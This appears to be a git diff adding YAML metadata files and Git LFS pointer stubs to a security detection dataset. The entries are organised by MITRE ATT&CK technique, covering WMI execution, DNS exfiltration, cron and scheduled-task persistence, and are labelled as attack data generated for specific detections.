/datasets/attack_techniques/T1046/advanced_ip_port_scanner/advanced_ip_port_scanner-4dc825fb-ed53-41fd-81ba-32f2eb5c787e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1046/advanced_ip_port_scanner/advanced_ip_port_scanner-4dc825fb-ed53-41fd-81ba-32f2eb5c787e.log b/datasets/attack_techniques/T1046/advanced_ip_port_scanner/advanced_ip_port_scanner-4dc825fb-ed53-41fd-81ba-32f2eb5c787e.log new file mode 100644 index 000000000..f13479ab7 --- /dev/null +++ b/datasets/attack_techniques/T1046/advanced_ip_port_scanner/advanced_ip_port_scanner-4dc825fb-ed53-41fd-81ba-32f2eb5c787e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6935d594d5b7071f99ff7d657b766ef4fdb8b0b3ef3c1191e57cf976ec125d78 +size 10376 diff --git a/datasets/attack_techniques/T1046/kubernetes_scanning/T1046_kubernetes_scanning.yml b/datasets/attack_techniques/T1046/kubernetes_scanning/T1046_kubernetes_scanning.yml new file mode 100644 index 000000000..d4d8d63f7 --- /dev/null +++ b/datasets/attack_techniques/T1046/kubernetes_scanning/T1046_kubernetes_scanning.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9791cb24-d3d5-46f7-9694-0d401e08af10 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Access Scanning +environment: attack_range +directory: kubernetes_scanning +mitre_technique: [] +datasets: +- name: kubernetes_scanning + path: /datasets/attack_techniques/T1046/kubernetes_scanning/kubernetes_scanning-9791cb24-d3d5-46f7-9694-0d401e08af10.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1046/kubernetes_scanning/kubernetes_scanning-9791cb24-d3d5-46f7-9694-0d401e08af10.log b/datasets/attack_techniques/T1046/kubernetes_scanning/kubernetes_scanning-9791cb24-d3d5-46f7-9694-0d401e08af10.log new file mode 100644 index 000000000..18bb101ec --- /dev/null +++ b/datasets/attack_techniques/T1046/kubernetes_scanning/kubernetes_scanning-9791cb24-d3d5-46f7-9694-0d401e08af10.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ef7286e002eed573612f83413805862d348095a6e4f1f35a716877ddfd30a5f0 +size 5053 diff --git a/datasets/attack_techniques/T1047/atomic_red_team/4104-cimmethod-windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log b/datasets/attack_techniques/T1047/atomic_red_team/4104-cimmethod-windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log new file mode 100644 index 000000000..ed44892d6 --- /dev/null +++ b/datasets/attack_techniques/T1047/atomic_red_team/4104-cimmethod-windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f8796fb20c6554fd614cfd8825c8cbab772db8043f94edc6e0f8d66de986c8c4 +size 122045 diff --git a/datasets/attack_techniques/T1047/atomic_red_team/T1047_atomic_red_team.yml b/datasets/attack_techniques/T1047/atomic_red_team/T1047_atomic_red_team.yml new file mode 100644 index 000000000..3a3a41bed --- /dev/null +++ b/datasets/attack_techniques/T1047/atomic_red_team/T1047_atomic_red_team.yml @@ -0,0 +1,21 @@ +author: STRT +id: 8aaecfe6-56e0-423a-b837-beaf78f927ed +date: '2026-07-11' +description: Curated attack data generated for detection PowerShell Invoke CIMMethod + CIMSession +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: 4104-cimmethod-windows-powershell + path: /datasets/attack_techniques/T1047/atomic_red_team/4104-cimmethod-windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: invokewmiexec_windows-powershell + path: /datasets/attack_techniques/T1047/atomic_red_team/invokewmiexec_windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1047/atomic_red_team/windows-sysmon-8aaecfe6-56e0-423a-b837-beaf78f927ed.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1047/atomic_red_team/invokewmiexec_windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log b/datasets/attack_techniques/T1047/atomic_red_team/invokewmiexec_windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log new file mode 100644 index 000000000..c6fc4b211 --- /dev/null +++ b/datasets/attack_techniques/T1047/atomic_red_team/invokewmiexec_windows-powershell-8aaecfe6-56e0-423a-b837-beaf78f927ed.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cec320bf59affa37789e649ce75da7df9f70286ccc0439642946f536d25e0ce9 +size 286385 diff --git a/datasets/attack_techniques/T1047/atomic_red_team/windows-sysmon-8aaecfe6-56e0-423a-b837-beaf78f927ed.log b/datasets/attack_techniques/T1047/atomic_red_team/windows-sysmon-8aaecfe6-56e0-423a-b837-beaf78f927ed.log new file mode 100644 index 000000000..52d0128d4 --- /dev/null +++ b/datasets/attack_techniques/T1047/atomic_red_team/windows-sysmon-8aaecfe6-56e0-423a-b837-beaf78f927ed.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a244b4a17313f1877870e10c56dac337d099ee1c82927471d937a5f4e2897394 +size 4096 diff --git a/datasets/attack_techniques/T1047/execution_scrcons/T1047_execution_scrcons.yml b/datasets/attack_techniques/T1047/execution_scrcons/T1047_execution_scrcons.yml new file mode 100644 index 000000000..c78d954a3 --- /dev/null +++ b/datasets/attack_techniques/T1047/execution_scrcons/T1047_execution_scrcons.yml @@ -0,0 +1,12 @@ +author: STRT +id: 6cee59c7-9c32-42b9-9303-82fb1f69f4a0 +date: '2026-07-11' +description: Curated attack data generated for detection Script Execution via WMI +environment: attack_range +directory: execution_scrcons +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1047/execution_scrcons/windows-sysmon-6cee59c7-9c32-42b9-9303-82fb1f69f4a0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1047/execution_scrcons/windows-sysmon-6cee59c7-9c32-42b9-9303-82fb1f69f4a0.log b/datasets/attack_techniques/T1047/execution_scrcons/windows-sysmon-6cee59c7-9c32-42b9-9303-82fb1f69f4a0.log new file mode 100644 index 000000000..983eb5766 --- /dev/null +++ b/datasets/attack_techniques/T1047/execution_scrcons/windows-sysmon-6cee59c7-9c32-42b9-9303-82fb1f69f4a0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0c88ee1b015aea7bbd44ce215a3ba04749f4409bb902792ce16ce58cfac18797 +size 9677 diff --git a/datasets/attack_techniques/T1047/lateral_movement/T1047_lateral_movement.yml b/datasets/attack_techniques/T1047/lateral_movement/T1047_lateral_movement.yml new file mode 100644 index 000000000..f033f9e3b --- /dev/null +++ b/datasets/attack_techniques/T1047/lateral_movement/T1047_lateral_movement.yml @@ -0,0 +1,17 @@ +author: STRT +id: 69a73511-91f4-4704-a300-048667a5c3c7 +date: '2026-07-10' +description: Curated attack data generated for detection Remote Process Instantiation + via WMI and PowerShell +environment: attack_range +directory: lateral_movement +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1047/lateral_movement/windows-sysmon-69a73511-91f4-4704-a300-048667a5c3c7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: wmi_remote_process_powershell + path: /datasets/attack_techniques/T1047/lateral_movement/wmi_remote_process_powershell-69a73511-91f4-4704-a300-048667a5c3c7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1047/lateral_movement/windows-sysmon-69a73511-91f4-4704-a300-048667a5c3c7.log b/datasets/attack_techniques/T1047/lateral_movement/windows-sysmon-69a73511-91f4-4704-a300-048667a5c3c7.log new file mode 100644 index 000000000..91695ea03 --- /dev/null +++ b/datasets/attack_techniques/T1047/lateral_movement/windows-sysmon-69a73511-91f4-4704-a300-048667a5c3c7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:799ceb60f061cc66e62127c8c3ba270f02ef0653133c84bce01bb2b0e7e2f2ac +size 2109 diff --git a/datasets/attack_techniques/T1047/lateral_movement/wmi_remote_process_powershell-69a73511-91f4-4704-a300-048667a5c3c7.log b/datasets/attack_techniques/T1047/lateral_movement/wmi_remote_process_powershell-69a73511-91f4-4704-a300-048667a5c3c7.log new file mode 100644 index 000000000..814adc520 --- /dev/null +++ b/datasets/attack_techniques/T1047/lateral_movement/wmi_remote_process_powershell-69a73511-91f4-4704-a300-048667a5c3c7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2e8d1ff57aa98947f0782bc071c2dbf8417840ab8e36b18d7eda0953a8e0d305 +size 1204 diff --git a/datasets/attack_techniques/T1047/lateral_movement_lolbas/T1047_lateral_movement_lolbas.yml b/datasets/attack_techniques/T1047/lateral_movement_lolbas/T1047_lateral_movement_lolbas.yml new file mode 100644 index 000000000..009490ac9 --- /dev/null +++ b/datasets/attack_techniques/T1047/lateral_movement_lolbas/T1047_lateral_movement_lolbas.yml @@ -0,0 +1,13 @@ +author: STRT +id: b8563f51-eeb2-49cd-99eb-2a3da71b5114 +date: '2026-07-11' +description: Curated attack data generated for detection Wmiprvse LOLBAS Execution + Process Spawn +environment: attack_range +directory: lateral_movement_lolbas +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1047/lateral_movement_lolbas/windows-sysmon-b8563f51-eeb2-49cd-99eb-2a3da71b5114.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1047/lateral_movement_lolbas/windows-sysmon-b8563f51-eeb2-49cd-99eb-2a3da71b5114.log b/datasets/attack_techniques/T1047/lateral_movement_lolbas/windows-sysmon-b8563f51-eeb2-49cd-99eb-2a3da71b5114.log new file mode 100644 index 000000000..15978666f --- /dev/null +++ b/datasets/attack_techniques/T1047/lateral_movement_lolbas/windows-sysmon-b8563f51-eeb2-49cd-99eb-2a3da71b5114.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:634a279a6e091003fd48546992765f1980f050f9852d0b779dbee7e9104a6b18 +size 4130 diff --git a/datasets/attack_techniques/T1047/susp_winrar/T1047_susp_winrar.yml b/datasets/attack_techniques/T1047/susp_winrar/T1047_susp_winrar.yml new file mode 100644 index 000000000..9957db74a --- /dev/null +++ b/datasets/attack_techniques/T1047/susp_winrar/T1047_susp_winrar.yml @@ -0,0 +1,13 @@ +author: STRT +id: 87764383-30c0-453a-b55f-90ebafd235d9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows WinRAR Launched Outside + Default Installation Directory +environment: attack_range +directory: susp_winrar +mitre_technique: [] +datasets: +- name: blank123 + path: /datasets/attack_techniques/T1047/susp_winrar/blank123-87764383-30c0-453a-b55f-90ebafd235d9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1047/susp_winrar/blank123-87764383-30c0-453a-b55f-90ebafd235d9.log b/datasets/attack_techniques/T1047/susp_winrar/blank123-87764383-30c0-453a-b55f-90ebafd235d9.log new file mode 100644 index 000000000..3c6c8a247 --- /dev/null +++ b/datasets/attack_techniques/T1047/susp_winrar/blank123-87764383-30c0-453a-b55f-90ebafd235d9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5e2be3a2c8942f71bd211f9998d9e2707c9f78bfb4ead93bc3135bde0eb7714d +size 2187 diff --git a/datasets/attack_techniques/T1047/wmi_impersonate/T1047_wmi_impersonate.yml b/datasets/attack_techniques/T1047/wmi_impersonate/T1047_wmi_impersonate.yml new file mode 100644 index 000000000..d07756d0c --- /dev/null +++ b/datasets/attack_techniques/T1047/wmi_impersonate/T1047_wmi_impersonate.yml @@ -0,0 +1,12 @@ +author: STRT +id: c26fbfe8-1f6e-48cf-891c-016b2af2d0e9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows WMI Impersonate Token +environment: attack_range +directory: wmi_impersonate +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1047/wmi_impersonate/sysmon-c26fbfe8-1f6e-48cf-891c-016b2af2d0e9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1047/wmi_impersonate/sysmon-c26fbfe8-1f6e-48cf-891c-016b2af2d0e9.log b/datasets/attack_techniques/T1047/wmi_impersonate/sysmon-c26fbfe8-1f6e-48cf-891c-016b2af2d0e9.log new file mode 100644 index 000000000..f4229a2a1 --- /dev/null +++ b/datasets/attack_techniques/T1047/wmi_impersonate/sysmon-c26fbfe8-1f6e-48cf-891c-016b2af2d0e9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4764a3905c800b2c802b1b55f4f8c16ca5aebaf009d3b1a57ef32c63e7d13cd7 +size 2153 diff --git a/datasets/attack_techniques/T1047/wmic_classes/T1047_wmic_classes.yml b/datasets/attack_techniques/T1047/wmic_classes/T1047_wmic_classes.yml new file mode 100644 index 000000000..633de0cec --- /dev/null +++ b/datasets/attack_techniques/T1047/wmic_classes/T1047_wmic_classes.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1ba0653a-fa00-4f7b-9c38-cc7cf07ad1cf +date: '2026-07-11' +description: Curated attack data generated for detection Windows WMI Reconnaissance + Class Query +environment: attack_range +directory: wmic_classes +mitre_technique: [] +datasets: +- name: wmic_cmd + path: /datasets/attack_techniques/T1047/wmic_classes/wmic_cmd-1ba0653a-fa00-4f7b-9c38-cc7cf07ad1cf.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1047/wmic_classes/wmic_cmd-1ba0653a-fa00-4f7b-9c38-cc7cf07ad1cf.log b/datasets/attack_techniques/T1047/wmic_classes/wmic_cmd-1ba0653a-fa00-4f7b-9c38-cc7cf07ad1cf.log new file mode 100644 index 000000000..a89c7ce5a --- /dev/null +++ b/datasets/attack_techniques/T1047/wmic_classes/wmic_cmd-1ba0653a-fa00-4f7b-9c38-cc7cf07ad1cf.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9679e99743b27bcffdc5374e864284966a18cef06a3ab20aa5346314cb58853a +size 4000 diff --git a/datasets/attack_techniques/T1048.003/cve-2023-23397/T1048.003_cve-2023-23397.yml b/datasets/attack_techniques/T1048.003/cve-2023-23397/T1048.003_cve-2023-23397.yml new file mode 100644 index 000000000..93793de94 --- /dev/null +++ b/datasets/attack_techniques/T1048.003/cve-2023-23397/T1048.003_cve-2023-23397.yml @@ -0,0 +1,12 @@ +author: STRT +id: bfcca4ec-b9e2-4008-8838-27df49dde29d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rundll32 WebDAV Request +environment: attack_range +directory: cve-2023-23397 +mitre_technique: [] +datasets: +- name: webdav_windows-sysmon + path: /datasets/attack_techniques/T1048.003/cve-2023-23397/webdav_windows-sysmon-bfcca4ec-b9e2-4008-8838-27df49dde29d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1048.003/cve-2023-23397/webdav_windows-sysmon-bfcca4ec-b9e2-4008-8838-27df49dde29d.log b/datasets/attack_techniques/T1048.003/cve-2023-23397/webdav_windows-sysmon-bfcca4ec-b9e2-4008-8838-27df49dde29d.log new file mode 100644 index 000000000..9a79724da --- /dev/null +++ b/datasets/attack_techniques/T1048.003/cve-2023-23397/webdav_windows-sysmon-bfcca4ec-b9e2-4008-8838-27df49dde29d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e7d1bcfc5e7736c47acd1e5792c31cecd81a3e326e7e670eeb6bd47260eea03a +size 4145 diff --git a/datasets/attack_techniques/T1048.003/nslookup_exfil/T1048.003_nslookup_exfil.yml b/datasets/attack_techniques/T1048.003/nslookup_exfil/T1048.003_nslookup_exfil.yml new file mode 100644 index 000000000..5097c102c --- /dev/null +++ b/datasets/attack_techniques/T1048.003/nslookup_exfil/T1048.003_nslookup_exfil.yml @@ -0,0 +1,13 @@ +author: STRT +id: 96aca243-cd8f-4d22-b4d7-7b44b43436e3 +date: '2026-07-10' +description: Curated attack data generated for detection DNS Exfiltration Using Nslookup + App +environment: attack_range +directory: nslookup_exfil +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1048.003/nslookup_exfil/windows-sysmon-96aca243-cd8f-4d22-b4d7-7b44b43436e3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1048.003/nslookup_exfil/windows-sysmon-96aca243-cd8f-4d22-b4d7-7b44b43436e3.log b/datasets/attack_techniques/T1048.003/nslookup_exfil/windows-sysmon-96aca243-cd8f-4d22-b4d7-7b44b43436e3.log new file mode 100644 index 000000000..3875c035c --- /dev/null +++ b/datasets/attack_techniques/T1048.003/nslookup_exfil/windows-sysmon-96aca243-cd8f-4d22-b4d7-7b44b43436e3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:024b4a49dd34ddd6cd5802302a0819f6c969cf7cf1cbab8a70ad0bd1bda1a3d1 +size 237668 diff --git a/datasets/attack_techniques/T1049/AD_discovery/T1049_AD_discovery.yml b/datasets/attack_techniques/T1049/AD_discovery/T1049_AD_discovery.yml new file mode 100644 index 000000000..b6a7df287 --- /dev/null +++ b/datasets/attack_techniques/T1049/AD_discovery/T1049_AD_discovery.yml @@ -0,0 +1,13 @@ +author: STRT +id: f1a4e9b6-f897-4e83-b71c-dd118ca98e43 +date: '2026-07-11' +description: Curated attack data generated for detection GetNetTcpconnection with + PowerShell +environment: attack_range +directory: AD_discovery +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1049/AD_discovery/windows-sysmon-f1a4e9b6-f897-4e83-b71c-dd118ca98e43.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1049/AD_discovery/windows-sysmon-f1a4e9b6-f897-4e83-b71c-dd118ca98e43.log b/datasets/attack_techniques/T1049/AD_discovery/windows-sysmon-f1a4e9b6-f897-4e83-b71c-dd118ca98e43.log new file mode 100644 index 000000000..28e5ad8c1 --- /dev/null +++ b/datasets/attack_techniques/T1049/AD_discovery/windows-sysmon-f1a4e9b6-f897-4e83-b71c-dd118ca98e43.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1bcde03f220995e7beb703a7656436bf4245aee7b970ac1a84e3c9192712c655 +size 2666 diff --git a/datasets/attack_techniques/T1053.002/at_execution/T1053.002_at_execution.yml b/datasets/attack_techniques/T1053.002/at_execution/T1053.002_at_execution.yml new file mode 100644 index 000000000..e9117db36 --- /dev/null +++ b/datasets/attack_techniques/T1053.002/at_execution/T1053.002_at_execution.yml @@ -0,0 +1,13 @@ +author: STRT +id: 28acba4d-497c-447f-ae53-50f976557860 +date: '2026-07-10' +description: Curated attack data generated for detection Linux At Allow Config File + Creation +environment: attack_range +directory: at_execution +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1053.002/at_execution/sysmon_linux-28acba4d-497c-447f-ae53-50f976557860.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.002/at_execution/sysmon_linux-28acba4d-497c-447f-ae53-50f976557860.log b/datasets/attack_techniques/T1053.002/at_execution/sysmon_linux-28acba4d-497c-447f-ae53-50f976557860.log new file mode 100644 index 000000000..144ea558b --- /dev/null +++ b/datasets/attack_techniques/T1053.002/at_execution/sysmon_linux-28acba4d-497c-447f-ae53-50f976557860.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bcf12aab45f200d699e8df303df1571efdf1e6d3a4b18aa1f32394fffd08e5ae +size 6905 diff --git a/datasets/attack_techniques/T1053.002/lateral_movement/T1053.002_lateral_movement.yml b/datasets/attack_techniques/T1053.002/lateral_movement/T1053.002_lateral_movement.yml new file mode 100644 index 000000000..f38a879db --- /dev/null +++ b/datasets/attack_techniques/T1053.002/lateral_movement/T1053.002_lateral_movement.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8e433ea7-0aba-461f-877f-a6283b61f3e6 +date: '2026-07-11' +description: Curated attack data generated for detection Scheduled Task Creation on + Remote Endpoint using At +environment: attack_range +directory: lateral_movement +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1053.002/lateral_movement/windows-sysmon-8e433ea7-0aba-461f-877f-a6283b61f3e6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.002/lateral_movement/windows-sysmon-8e433ea7-0aba-461f-877f-a6283b61f3e6.log b/datasets/attack_techniques/T1053.002/lateral_movement/windows-sysmon-8e433ea7-0aba-461f-877f-a6283b61f3e6.log new file mode 100644 index 000000000..dabbd41c1 --- /dev/null +++ b/datasets/attack_techniques/T1053.002/lateral_movement/windows-sysmon-8e433ea7-0aba-461f-877f-a6283b61f3e6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eea37d70bc3b82484fb73de8817e7951a92ca86e4eb5829b7e1c1ff115898a8f +size 3862 diff --git a/datasets/attack_techniques/T1053.003/auditd_path_cron/T1053.003_auditd_path_cron.yml b/datasets/attack_techniques/T1053.003/auditd_path_cron/T1053.003_auditd_path_cron.yml new file mode 100644 index 000000000..31a786432 --- /dev/null +++ b/datasets/attack_techniques/T1053.003/auditd_path_cron/T1053.003_auditd_path_cron.yml @@ -0,0 +1,13 @@ +author: STRT +id: d5a8bca7-b8c1-4e5f-adbe-e32ade8cad8b +date: '2026-07-10' +description: Curated attack data generated for detection Linux Auditd Possible Append + Cronjob Entry On Existing Cronjob File +environment: attack_range +directory: auditd_path_cron +mitre_technique: [] +datasets: +- name: path_cron + path: /datasets/attack_techniques/T1053.003/auditd_path_cron/path_cron-d5a8bca7-b8c1-4e5f-adbe-e32ade8cad8b.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1053.003/auditd_path_cron/path_cron-d5a8bca7-b8c1-4e5f-adbe-e32ade8cad8b.log b/datasets/attack_techniques/T1053.003/auditd_path_cron/path_cron-d5a8bca7-b8c1-4e5f-adbe-e32ade8cad8b.log new file mode 100644 index 000000000..1e0ae91a1 --- /dev/null +++ b/datasets/attack_techniques/T1053.003/auditd_path_cron/path_cron-d5a8bca7-b8c1-4e5f-adbe-e32ade8cad8b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b7bc3c65c7c680984027f92270e05e57faa9d85807b24a1249d76c898f5e687b +size 2790 diff --git a/datasets/attack_techniques/T1053.003/cronjobs_entry/T1053.003_cronjobs_entry.yml b/datasets/attack_techniques/T1053.003/cronjobs_entry/T1053.003_cronjobs_entry.yml new file mode 100644 index 000000000..c38daaf20 --- /dev/null +++ b/datasets/attack_techniques/T1053.003/cronjobs_entry/T1053.003_cronjobs_entry.yml @@ -0,0 +1,13 @@ +author: STRT +id: 579d3a25-9fab-4085-90e1-8a130123cac9 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Add Files In Known + Crontab Directories +environment: attack_range +directory: cronjobs_entry +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1053.003/cronjobs_entry/sysmon_linux-579d3a25-9fab-4085-90e1-8a130123cac9.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.003/cronjobs_entry/sysmon_linux-579d3a25-9fab-4085-90e1-8a130123cac9.log b/datasets/attack_techniques/T1053.003/cronjobs_entry/sysmon_linux-579d3a25-9fab-4085-90e1-8a130123cac9.log new file mode 100644 index 000000000..66b9320fa --- /dev/null +++ b/datasets/attack_techniques/T1053.003/cronjobs_entry/sysmon_linux-579d3a25-9fab-4085-90e1-8a130123cac9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:169ecf362888145551de62ce53004a7f7d7e3d562c8868757808fb8113c881a9 +size 9123 diff --git a/datasets/attack_techniques/T1053.003/crontab_edit_parameter/T1053.003_crontab_edit_parameter.yml b/datasets/attack_techniques/T1053.003/crontab_edit_parameter/T1053.003_crontab_edit_parameter.yml new file mode 100644 index 000000000..67ba1183c --- /dev/null +++ b/datasets/attack_techniques/T1053.003/crontab_edit_parameter/T1053.003_crontab_edit_parameter.yml @@ -0,0 +1,12 @@ +author: STRT +id: 0f09fb56-fa4e-4853-8277-31bbac8cf726 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Edit Cron Table Parameter +environment: attack_range +directory: crontab_edit_parameter +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1053.003/crontab_edit_parameter/sysmon_linux-0f09fb56-fa4e-4853-8277-31bbac8cf726.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.003/crontab_edit_parameter/sysmon_linux-0f09fb56-fa4e-4853-8277-31bbac8cf726.log b/datasets/attack_techniques/T1053.003/crontab_edit_parameter/sysmon_linux-0f09fb56-fa4e-4853-8277-31bbac8cf726.log new file mode 100644 index 000000000..65dc05561 --- /dev/null +++ b/datasets/attack_techniques/T1053.003/crontab_edit_parameter/sysmon_linux-0f09fb56-fa4e-4853-8277-31bbac8cf726.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:df9693cf2d12664c7edcff465148da8e657ec4e63d32fbe6abbb4eb59851c8cf +size 1499 diff --git a/datasets/attack_techniques/T1053.003/crontab_list_parameter/T1053.003_crontab_list_parameter.yml b/datasets/attack_techniques/T1053.003/crontab_list_parameter/T1053.003_crontab_list_parameter.yml new file mode 100644 index 000000000..e9eb2ef2e --- /dev/null +++ b/datasets/attack_techniques/T1053.003/crontab_list_parameter/T1053.003_crontab_list_parameter.yml @@ -0,0 +1,13 @@ +author: STRT +id: d1b1fb83-7817-4e84-8ac0-7c6c76565a38 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Adding Crontab Using + List Parameter +environment: attack_range +directory: crontab_list_parameter +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1053.003/crontab_list_parameter/sysmon_linux-d1b1fb83-7817-4e84-8ac0-7c6c76565a38.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.003/crontab_list_parameter/sysmon_linux-d1b1fb83-7817-4e84-8ac0-7c6c76565a38.log b/datasets/attack_techniques/T1053.003/crontab_list_parameter/sysmon_linux-d1b1fb83-7817-4e84-8ac0-7c6c76565a38.log new file mode 100644 index 000000000..6dd361a91 --- /dev/null +++ b/datasets/attack_techniques/T1053.003/crontab_list_parameter/sysmon_linux-d1b1fb83-7817-4e84-8ac0-7c6c76565a38.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:48ce09d4693c8892ee496538d72153442e251780c39f4f791e3b851d6fa7aa98 +size 4461 diff --git a/datasets/attack_techniques/T1053.005/asyncrat_highest_priv_schtasks/T1053.005_asyncrat_highest_priv_schtasks.yml b/datasets/attack_techniques/T1053.005/asyncrat_highest_priv_schtasks/T1053.005_asyncrat_highest_priv_schtasks.yml new file mode 100644 index 000000000..d30dce250 --- /dev/null +++ b/datasets/attack_techniques/T1053.005/asyncrat_highest_priv_schtasks/T1053.005_asyncrat_highest_priv_schtasks.yml @@ -0,0 +1,13 @@ +author: STRT +id: 31abf1aa-280e-4f66-8162-fc6a98f66ab0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Scheduled Task with + Highest Privileges +environment: attack_range +directory: asyncrat_highest_priv_schtasks +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1053.005/asyncrat_highest_priv_schtasks/sysmon-31abf1aa-280e-4f66-8162-fc6a98f66ab0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1053.005/asyncrat_highest_priv_schtasks/sysmon-31abf1aa-280e-4f66-8162-fc6a98f66ab0.log b/datasets/attack_techniques/T1053.005/asyncrat_highest_priv_schtasks/sysmon-31abf1aa-280e-4f66-8162-fc6a98f66ab0.log new file mode 100644 index 000000000..ea978aae6 --- /dev/null +++ 